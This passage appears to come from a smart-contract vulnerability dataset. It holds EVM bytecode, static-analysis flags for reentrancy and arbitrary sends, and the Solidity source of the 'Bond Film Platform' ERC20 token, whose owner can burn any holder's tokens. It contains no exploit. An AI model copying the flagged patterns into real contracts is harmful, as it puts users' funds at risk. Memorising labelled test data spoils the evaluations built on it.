ffffffffffffffffff1614155b80156119cb5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119e35750600f60179054906101000a900460ff165b15611a845742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3357600080fd5b603c42611a409190613149565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a8f30610784565b9050600f60159054906101000a900460ff16158015611afc5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b145750600f60169054906101000a900460ff165b15611b3c57611b2281611dce565b60004790506000811115611b3a57611b3947611c65565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611be55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bef57600090505b611bfb8484848461211b565b50505050565b6000838311158290611c49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c409190612e71565b60405180910390fd5b5060008385611c58919061322a565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cb56002846120d190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ce0573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d316002846120d190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d5c573d6000803e3d6000fd5b5050565b6000600654821115611da7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9e90612eb3565b60405180910390fd5b6000611db1612148565b9050611dc681846120d190919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e0657611e056133ff565b5b604051908082528060200260200182016040528015611e345781602001602082028036833780820191505090505b5090503081600081518110611e4c57611e4b6133d0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611eee57600080fd5b505afa158015611f02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f2691906128b8565b81600181518110611f3a57611f396133d0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fa130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611277565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161200595949392919061302e565b600060405180830381600087803b15801561201f57600080fd5b505af1158015612033573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561206957600090506120cb565b6000828461207791906131d0565b9050828482612086919061319f565b146120c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120bd90612f33565b60405180910390fd5b809150505b92915050565b600061211383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612173565b905092915050565b80612129576121286121d6565b5b612134848484612207565b80612142576121416123d2565b5b50505050565b60008060006121556123e4565b9150915061216c81836120d190919063ffffffff16565b9250505090565b600080831182906121ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b19190612e71565b60405180910390fd5b50600083856121c9919061319f565b9050809150509392505050565b60006008541480156121ea57506000600954145b156121f457612205565b600060088190555060006009819055505b565b60008060008060008061221987612449565b95509550955095509550955061227786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061235881612559565b6123628483612616565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123bf9190613013565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b60008060006006549050600069021e19e0c9bab2400000905061241c69021e19e0c9bab24000006006546120d190919063ffffffff16565b82101561243c5760065469021e19e0c9bab2400000935093505050612445565b81819350935050505b9091565b60008060008060008060008060006124668a600854600954612650565b9250925092506000612476612148565b905060008060006124898e8787876126e6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124f383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c01565b905092915050565b600080828461250a9190613149565b90508381101561254f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254690612ef3565b60405180910390fd5b8091505092915050565b6000612563612148565b9050600061257a828461205690919063ffffffff16565b90506125ce81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61262b826006546124b190919063ffffffff16565b600681905550612646816007546124fb90919063ffffffff16565b6007819055505050565b60008060008061267c606461266e888a61205690919063ffffffff16565b6120d190919063ffffffff16565b905060006126a66064612698888b61205690919063ffffffff16565b6120d190919063ffffffff16565b905060006126cf826126c1858c6124b190919063ffffffff16565b6124b190919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126ff858961205690919063ffffffff16565b90506000612716868961205690919063ffffffff16565b9050600061272d878961205690919063ffffffff16565b905060006127568261274885876124b190919063ffffffff16565b6124b190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061278261277d846130c8565b6130a3565b905080838252602082019050828560208602820111156127a5576127a4613433565b5b60005b858110156127d557816127bb88826127df565b8452602084019350602083019250506001810190506127a8565b5050509392505050565b6000813590506127ee81613749565b92915050565b60008151905061280381613749565b92915050565b600082601f83011261281e5761281d61342e565b5b813561282e84826020860161276f565b91505092915050565b60008135905061284681613760565b92915050565b60008151905061285b81613760565b92915050565b60008135905061287081613777565b92915050565b60008151905061288581613777565b92915050565b6000602082840312156128a1576128a061343d565b5b60006128af848285016127df565b91505092915050565b6000602082840312156128ce576128cd61343d565b5b60006128dc848285016127f4565b91505092915050565b600080604083850312156128fc576128fb61343d565b5b600061290a858286016127df565b925050602061291b858286016127df565b9150509250929050565b60008060006060848603121561293e5761293d61343d565b5b600061294c868287016127df565b935050602061295d868287016127df565b925050604061296e86828701612861565b9150509250925092565b6000806040838503121561298f5761298e61343d565b5b600061299d858286016127df565b92505060206129ae85828601612861565b9150509250929050565b6000602082840312156129ce576129cd61343d565b5b600082013567ffffffffffffffff8111156129ec576129eb613438565b5b6129f884828501612809565b91505092915050565b600060208284031215612a1757612a1661343d565b5b6000612a2584828501612837565b91505092915050565b600060208284031215612a4457612a4361343d565b5b6000612a528482850161284c565b91505092915050565b600060208284031215612a7157612a7061343d565b5b6000612a7f84828501612861565b91505092915050565b600080600060608486031215612aa157612aa061343d565b5b6000612aaf86828701612876565b9350506020612ac086828701612876565b9250506040612ad186828701612876565b9150509250925092565b6000612ae78383612af3565b60208301905092915050565b612afc8161325e565b82525050565b612b0b8161325e565b82525050565b6000612b1c82613104565b612b268185613127565b9350612b31836130f4565b8060005b83811015612b62578151612b498882612adb565b9750612b548361311a565b925050600181019050612b35565b5085935050505092915050565b612b7881613270565b82525050565b612b87816132b3565b82525050565b6000612b988261310f565b612ba28185613138565b9350612bb28185602086016132c5565b612bbb81613442565b840191505092915050565b6000612bd3602383613138565b9150612bde82613453565b604082019050919050565b6000612bf6602a83613138565b9150612c01826134a2565b604082019050919050565b6000612c19602283613138565b9150612c24826134f1565b604082019050919050565b6000612c3c601b83613138565b9150612c4782613540565b602082019050919050565b6000612c5f601d83613138565b9150612c6a82613569565b602082019050919050565b6000612c82602183613138565b9150612c8d82613592565b604082019050919050565b6000612ca5602083613138565b9150612cb0826135e1565b602082019050919050565b6000612cc8602983613138565b9150612cd38261360a565b604082019050919050565b6000612ceb602583613138565b9150612cf682613659565b604082019050919050565b6000612d0e602483613138565b9150612d19826136a8565b604082019050919050565b6000612d31601783613138565b9150612d3c826136f7565b602082019050919050565b6000612d54601183613138565b9150612d5f82613720565b602082019050919050565b612d738161329c565b82525050565b612d82816132a6565b82525050565b6000602082019050612d9d6000830184612b02565b92915050565b6000604082019050612db86000830185612b02565b612dc56020830184612b02565b9392505050565b6000604082019050612de16000830185612b02565b612dee6020830184612d6a565b9392505050565b600060c082019050612e0a6000830189612b02565b612e176020830188612d6a565b612e246040830187612b7e565b612e316060830186612b7e565b612e3e6080830185612b02565b612e4b60a0830184612d6a565b979650505050505050565b6000602082019050612e6b6000830184612b6f565b92915050565b60006020820190508181036000830152612e8b8184612b8d565b905092915050565b60006020820190508181036000830152612eac81612bc6565b9050919050565b60006020820190508181036000830152612ecc81612be9565b9050919050565b60006020820190508181036000830152612eec81612c0c565b9050919050565b60006020820190508181036000830152612f0c81612c2f565b9050919050565b60006020820190508181036000830152612f2c81612c52565b9050919050565b60006020820190508181036000830152612f4c81612c75565b9050919050565b60006020820190508181036000830152612f6c81612c98565b9050919050565b60006020820190508181036000830152612f8c81612cbb565b9050919050565b60006020820190508181036000830152612fac81612cde565b9050919050565b60006020820190508181036000830152612fcc81612d01565b9050919050565b60006020820190508181036000830152612fec81612d24565b9050919050565b6000602082019050818103600083015261300c81612d47565b9050919050565b60006020820190506130286000830184612d6a565b92915050565b600060a0820190506130436000830188612d6a565b6130506020830187612b7e565b81810360408301526130628186612b11565b90506130716060830185612b02565b61307e6080830184612d6a565b9695505050505050565b600060208201905061309d6000830184612d79565b92915050565b60006130ad6130be565b90506130b982826132f8565b919050565b6000604051905090565b600067ffffffffffffffff8211156130e3576130e26133ff565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131548261329c565b915061315f8361329c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561319457613193613372565b5b828201905092915050565b60006131aa8261329c565b91506131b58361329c565b9250826131c5576131c46133a1565b5b828204905092915050565b60006131db8261329c565b91506131e68361329c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561321f5761321e613372565b5b828202905092915050565b60006132358261329c565b91506132408361329c565b92508282101561325357613252613372565b5b828203905092915050565b60006132698261327c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132be8261329c565b9050919050565b60005b838110156132e35780820151818401526020810190506132c8565b838111156132f2576000848401525b50505050565b61330182613442565b810181811067ffffffffffffffff821117156133205761331f6133ff565b5b80604052505050565b60006133348261329c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561336757613366613372565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137528161325e565b811461375d57600080fd5b50565b61376981613270565b811461377457600080fd5b50565b6137808161329c565b811461378b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f9027b4b53d4f455b4a9727bdbd268516bb6755901879a165b0aa7db59e8fc6a64736f6c63430008050033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
428
0x68e9872cc009179101b97a9533e5c16105e7fafb
// Bond Film Platform Token smart contract. // Developed by Phenom.Team <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="7b12151d143b0b131e151416550f1e1a16">[email&#160;protected]</a>> pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint a, uint b) internal constant returns (uint) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } function div(uint a, uint b) internal constant returns(uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function sub(uint a, uint b) internal constant returns(uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal constant returns(uint) { uint c = a + b; assert(c >= a); return c; } } /** * @title ERC20 * @dev Standart ERC20 token interface */ contract ERC20 { uint public totalSupply = 0; mapping(address => uint) balances; mapping(address => mapping (address => uint)) allowed; function balanceOf(address _owner) constant returns (uint); function transfer(address _to, uint _value) returns (bool); function transferFrom(address _from, address _to, uint _value) returns (bool); function approve(address _spender, uint _value) returns (bool); function allowance(address _owner, address _spender) constant returns (uint); event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } /** * @title BondToken * @dev Bond Film Platform token contract */ contract BondToken is ERC20 { using SafeMath for uint; string public name = "Bond Film Platform"; string public symbol = "BFP"; uint public decimals = 18; // Ico contract address address public owner; address public controller; address public airDropManager; event LogBuyForInvestor(address indexed investor, uint value, string txHash); event Burn(address indexed from, uint value); event Mint(address indexed to, uint value); // Tokens transfer ability status bool public tokensAreFrozen = true; // Allows execution by the owner only modifier onlyOwner { require(msg.sender == owner); _; } // Allows execution by the controller only modifier onlyController { require(msg.sender == controller); _; } // Allows execution by the air drop manager only modifier onlyAirDropManager { require(msg.sender == airDropManager); _; } /** * @dev Contract constructor function sets Ico address * @param _owner owner address * @param _controller controller address * @param _airDropManager air drop manager address */ function BondToken(address _owner, address _controller, address _airDropManager) public { owner = _owner; controller = _controller; airDropManager = _airDropManager; } /** * @dev Function to mint tokens * @param _holder beneficiary address the tokens will be issued to * @param _value number of tokens to issue */ function mint(address _holder, uint _value) private returns (bool) { require(_value > 0); balances[_holder] = balances[_holder].add(_value); totalSupply = totalSupply.add(_value); Transfer(address(0), _holder, _value); return true; } /** * @dev Function for handle token issues * @param _holder beneficiary address the tokens will be issued to * @param _value number of tokens to issue */ function mintTokens( address _holder, uint _value) external onlyOwner { require(mint(_holder, _value)); Mint(_holder, _value); } /** * @dev Function to issues tokens for investors * @param _holder address the tokens will be issued to * @param _value number of BFP tokens * @param _txHash transaction hash of investor&#39;s payment */ function buyForInvestor( address _holder, uint _value, string _txHash ) external onlyController { require(mint(_holder, _value)); LogBuyForInvestor(_holder, _value, _txHash); } /** * @dev Function to batch mint tokens * @param _to An array of addresses that will receive the minted tokens. * @param _amount An array with the amounts of tokens each address will get minted. * @return A boolean that indicates whether the operation was successful. */ function batchDrop( address[] _to, uint[] _amount) external onlyAirDropManager { require(_to.length == _amount.length); for (uint i = 0; i < _to.length; i++) { require(_to[i] != address(0)); require(mint(_to[i], _amount[i])); } } /** * @dev Function to enable token transfers */ function unfreeze() external onlyOwner { tokensAreFrozen = false; } /** * @dev Function to enable token transfers */ function freeze() external onlyOwner { tokensAreFrozen = true; } /** * @dev Burn Tokens * @param _holder token holder address which the tokens will be burnt * @param _value number of tokens to burn */ function burnTokens(address _holder, uint _value) external onlyOwner { require(balances[_holder] > 0); totalSupply = totalSupply.sub(_value); balances[_holder] = balances[_holder].sub(_value); Burn(_holder, _value); } /** * @dev Get balance of tokens holder * @param _holder holder&#39;s address * @return balance of investor */ function balanceOf(address _holder) constant returns (uint) { return balances[_holder]; } /** * @dev Send coins * throws on any error rather then return a false flag to minimize * user errors * @param _to target address * @param _amount transfer amount * * @return true if the transfer was successful */ function transfer(address _to, uint _amount) public returns (bool) { require(!tokensAreFrozen); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(msg.sender, _to, _amount); return true; } /** * @dev An account/contract attempts to get the coins * throws on any error rather then return a false flag to minimize user errors * * @param _from source address * @param _to target address * @param _amount transfer amount * * @return true if the transfer was successful */ function transferFrom(address _from, address _to, uint _amount) public returns (bool) { require(!tokensAreFrozen); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(_from, _to, _amount); return true; } /** * @dev Allows another account/contract to spend some tokens on its behalf * throws on any error rather then return a false flag to minimize user errors * * also, to minimize the risk of the approve/transferFrom attack vector * approve has to be called twice in 2 separate transactions - once to * change the allowance to 0 and secondly to change it to the new allowance * value * * @param _spender approved address * @param _amount allowance amount * * @return true if the approval was successful */ function approve(address _spender, uint _amount) public returns (bool) { require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * * @param _owner the address which owns the funds * @param _spender the address which will spend the funds * * @return the amount of tokens still avaible for the spender */ function allowance(address _owner, address _spender) constant returns (uint) { return allowed[_owner][_spender]; } /** * @dev Allows owner to transfer out any accidentally sent ERC20 tokens * * @param tokenAddress token address * @param tokens transfer amount * * */ function transferAnyTokens(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20(tokenAddress).transfer(owner, tokens); } }
0x606060405260043610610111576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806252992e1461011657806306fdde031461016c578063095ea7b3146101fa5780630d1118ce1461025457806318160ddd1461029657806323b872dd146102bf57806328c8f3ba14610338578063313ce5671461038d57806362a5af3b146103b65780636a28f000146103cb57806370a08231146103e05780638da5cb5b1461042d57806395d89b4114610482578063a9059cbb14610510578063be8c1bcc1461056a578063ca67065f146105ac578063dd62ed3e146105d9578063f0dda65c14610645578063f5d7326114610687578063f77c4791146106e1575b600080fd5b341561012157600080fd5b61016a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919080359060200190820180359060200191909192905050610736565b005b341561017757600080fd5b61017f61081d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101bf5780820151818401526020810190506101a4565b50505050905090810190601f1680156101ec5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020557600080fd5b61023a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108bb565b604051808215151515815260200191505060405180910390f35b341561025f57600080fd5b610294600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a42565b005b34156102a157600080fd5b6102a9610bee565b6040518082815260200191505060405180910390f35b34156102ca57600080fd5b61031e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bf4565b604051808215151515815260200191505060405180910390f35b341561034357600080fd5b61034b610ebb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561039857600080fd5b6103a0610ee1565b6040518082815260200191505060405180910390f35b34156103c157600080fd5b6103c9610ee7565b005b34156103d657600080fd5b6103de610f60565b005b34156103eb57600080fd5b610417600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fd9565b6040518082815260200191505060405180910390f35b341561043857600080fd5b610440611022565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561048d57600080fd5b610495611048565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d55780820151818401526020810190506104ba565b50505050905090810190601f1680156105025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561051b57600080fd5b610550600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110e6565b604051808215151515815260200191505060405180910390f35b341561057557600080fd5b6105aa60048080359060200190820180359060200191909192908035906020019082018035906020019190919290505061129d565b005b34156105b757600080fd5b6105bf6113ec565b604051808215151515815260200191505060405180910390f35b34156105e457600080fd5b61062f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506113ff565b6040518082815260200191505060405180910390f35b341561065057600080fd5b610685600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611486565b005b341561069257600080fd5b6106c7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611549565b604051808215151515815260200191505060405180910390f35b34156106ec57600080fd5b6106f4611697565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561079257600080fd5b61079c84846116bd565b15156107a757600080fd5b8373ffffffffffffffffffffffffffffffffffffffff167fa8f899a090efad1c1d17d3e3c18b0fc5b732d226b7ce367ab7f00fd824029acc84848460405180848152602001806020018281038252848482818152602001925080828437820191505094505050505060405180910390a250505050565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b35780601f10610888576101008083540402835291602001916108b3565b820191906000526020600020905b81548152906001019060200180831161089657829003601f168201915b505050505081565b60008082148061094757506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561095257600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a9e57600080fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515610aec57600080fd5b610b01816000546117ed90919063ffffffff16565b600081905550610b5981600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ed90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b60005481565b6000600860149054906101000a900460ff16151515610c1257600080fd5b610c6482600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ed90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d3682600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ed90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e0882600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f4357600080fd5b6001600860146101000a81548160ff021916908315150217905550565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fbc57600080fd5b6000600860146101000a81548160ff021916908315150217905550565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110de5780601f106110b3576101008083540402835291602001916110de565b820191906000526020600020905b8154815290600101906020018083116110c157829003601f168201915b505050505081565b6000600860149054906101000a900460ff1615151561110457600080fd5b61115682600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ed90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111eb82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112fb57600080fd5b828290508585905014151561130f57600080fd5b600090505b848490508110156113e557600073ffffffffffffffffffffffffffffffffffffffff16858583818110151561134557fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561138557600080fd5b6113cd858583818110151561139657fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1684848481811015156113c157fe5b905060200201356116bd565b15156113d857600080fd5b8080600101915050611314565b5050505050565b600860149054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114e257600080fd5b6114ec82826116bd565b15156114f757600080fd5b8173ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885826040518082815260200191505060405180910390a25050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115a757600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561167457600080fd5b6102c65a03f1151561168557600080fd5b50505060405180519050905092915050565b600760009054906101000a900473fffffffffffffffffffffffffffffffffff